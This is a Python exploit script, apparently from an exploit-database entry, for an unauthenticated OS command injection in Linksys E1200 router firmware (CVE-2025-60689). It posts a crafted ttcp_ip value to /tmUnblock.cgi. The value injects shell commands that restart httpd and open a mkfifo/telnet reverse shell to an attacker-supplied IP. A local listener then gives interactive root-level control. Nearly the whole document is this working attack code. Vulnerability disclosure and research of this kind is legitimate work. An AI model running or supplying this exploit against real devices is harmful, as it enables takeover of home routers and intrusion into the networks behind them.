# Exploit Title: Linksys E1200_2.0.04 - Unauthenticated OS Command Injection
# Date: 2026-07-22
# Exploit Author: JarrettgxzSec
# Vendor Homepage: www.linksys.com
# Version: FW <= v2.0.04
# Tested on: v2.0.02 & v2.0.04, directly connected to the LAN
# CVE: CVE-2025-60689
# Github repository: https://github.com/Jarrettgohxz/CVE-research/tree/main/Linksys/E1200-V2/CVE-2025-60689
import sys
import socket
import threading
import time
from urllib.parse import quote
if len(sys.argv) < 4:
print(f"[!] Usage: python3 {sys.argv[0]} <ATTACKER_IP> <TARGET_IP> <TARGET_PORT>")
print(f"[!] Example: python3 {sys.argv[0]} 192.168.1.100 192.168.1.1 8080")
sys.exit(1)
ATTACKER_IP = sys.argv[1]
TARGET_IP = sys.argv[2]
TARGET_PORT = sys.argv[3]
SHELL_PORT = 8888
def start_shell_listener():
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('0.0.0.0', SHELL_PORT))
print(f"[*] Listening for shell on port {SHELL_PORT}...")
s.listen(1)
conn, addr = s.accept()
print(f"[+] Connection received from {addr[0]}")
# allows interactive interaction
conn.setblocking(True)
conn.settimeout(0.5)
while True:
# send command to the router
cmd = input("# ")
conn.send((cmd + "\n").encode())
# receive output from the router
try:
while True:
# keep reading until the device stops sending
chunk = conn.recv(4096).decode(errors='ignore')
if not chunk:
print("\n[!] Connection closed by target.")
return
print(chunk, end="", flush=True)
# timeout decided by the conn.settimeout() method previously
except socket.timeout:
# this is expected when the device is done sending text
pass
def execute_exploit():
print(f"[*] Connecting to {TARGET_IP}:{TARGET_PORT}...")
# 1. Build the payload
payload = "\nrm /tmp/f \n"
payload += "mkfifo /tmp/f \n"
payload += "killall httpd && httpd \n"
payload += f"cat /tmp/f | /bin/sh 2>&1 | telnet {ATTACKER_IP} {SHELL_PORT} > /tmp/f &\n"
payload = quote(f" {payload}")
post_data = "submit_button=&"
post_data += "change_action=&"
post_data += "submit_type=&"
post_data += "action=&"
post_data += "commit=0&"
post_data += "ttcp_num=&"
post_data += "ttcp_size=&"
post_data += f"ttcp_ip={payload}&"
post_data += "StartEPI=1"
post_data = post_data.encode()
# 2. Build the HTTP POST body
http_req = f"POST /tmUnblock.cgi HTTP/1.1\r\n"
http_req += f"Host: {TARGET_IP}\r\n"
http_req += "Content-Type: application/x-www-form-urlencoded\r\n"
http_req += f"Content-Length: {len(post_data)}\r\n"
http_req += "Connection: close\r\n"
http_req += "\r\n"
http_req = http_req.encode() + post_data
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(10)
s.connect((TARGET_IP, TARGET_PORT))
s.sendall(http_req)
except Exception as e:
print(f"[!] Error: {e}")
if __name__ == "__main__":
# start the shell listener in the background
listener_thread = threading.Thread(target=start_shell_listener)
listener_thread.daemon = True
listener_thread.start()
# short sleep to ensure the listener is bound and ready
time.sleep(1)
# execute the exploit function
execute_exploit()
# keep main thread alive to interact with the shell
while listener_thread.is_alive():
time.sleep(1)